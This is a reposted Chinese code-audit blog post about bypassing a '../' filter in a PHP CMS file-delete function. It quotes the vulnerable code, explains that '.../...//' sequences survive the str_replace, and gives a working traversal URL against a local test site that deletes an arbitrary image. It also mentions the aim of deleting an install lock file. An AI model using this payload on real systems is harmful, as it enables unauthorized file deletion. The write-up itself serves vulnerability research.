美文网首页
代码审计之突破路径限制删除文件

代码审计之突破路径限制删除文件

作者: 池寒 | 来源:发表于2016-07-31 11:43 被阅读65次

    来源;http://bbs.ichunqiu.com/thread-8979-1-1.html?from=ch

    0x01 前言:

    定期来论坛打个卡,免得那天被坏蛋哥干掉了都不知道,最近玩起代码审计了,挖到的都丢给补天了,重复率挺高的,打算每天坚持审一套系统,提交1个重复,我就挖10个,十个重复,我就挖100个,我就不信会全部重复。。。。。。。。。。。。。。

    0x02 开头:

    在删除某套系统的时候,发现可控参数进入了unlink函数,给我的第一感觉就是任意文件删除

    [p=40, null, left][color=rgb(0, 0, 0)][font=微软雅黑, tahoma, arial]public function delupload(){

    $action=isset($_GET['action']) ? $_GET['action'] : null;

    $filename=isset($_GET['filename']) ? $_GET['filename'] : null;

    $filename=str_replace('../','',$filename);

    $filename=trim($filename,'.');

    $filename=trim($filename,'/');

    if($action=='del' && !empty($filename)){

    $filename=G_UPLOAD.$filename;

    $size=getimagesize($filename);

    $filetype=explode('/',$size['mime']);

    if($filetype[0]!='image'){

    return false;

    exit;

    }

    unlink($filename);

    exit;

    }[/font][/color][/p][p=40, null, left][color=rgb(0, 0, 0)][font=微软雅黑, tahoma, arial]

    复制代码

    0x03 分析:

    调用了unlink函数来删除文件

    unlink($filename);

    而$filename

    $filename=isset($_GET['filename']) ? $_GET['filename'] : null;

    则是从GET进入的,可控

    不过他这里进行了过滤,防止删除其他目录的文件

    把../过滤掉了,防止跳转目录

    清空了两边的 . 和 /

    $filename=str_replace('../','',$filename);

    $filename=trim($filename,'.');

    $filename=trim($filename,'/');

    0x04 突破:

    $filename=$_GET['filename'];

    $filename=str_replace('../','',$filename);

    $filename=trim($filename,'.');

    $filename=trim($filename,'/');

    echo $filename;

    ?>

    于是就本地实验起来了

    直接输入../的话会被清除

    开头和结尾清除了/和.

    但是这个影响不大,在开头随便加个下一级目录就可以了,结尾肯定是你要删除的文件名,所以也可以无视

    主要就是突破清空../

    想了一下,竟然清空了../ 那我.../ 不就可以留下一个"."

    实际测试成功

    这样就可以实现目录跳转删除文件了

    于是构造了这么一个url,删除网站根目录的一张照片

    http://127.0.0.1/xxxcms/?api/xxxx/xxxxx/&action=del&filename=shaidan/.../...//.../...//.../...//xxxx.jpg

    测试成功

    0x05 结尾:

    可惜的是只能删除网站任意图片

    $size=getimagesize($filename);

    $filetype=explode('/',$size['mime']);

    if($filetype[0]!='image'){

    return false;

    exit;

    }

    被这个getimagesize函数限制住了,我测试了一下发现他是根据文件实际内容来判断是什么文件的,小菜鸟技术未入门,没想出怎么突破,本来还在想删除lock,直接重装系统的。。。

    文章可能没什么技术含量在里面,毕竟小菜鸟我技术未入门,各位大牛见谅,如果文章中有错误,还望大家指出


    相关文章

      网友评论

          本文标题:代码审计之突破路径限制删除文件

          本文链接:https://www.haomeiwen.com/subject/xpgtsttx.html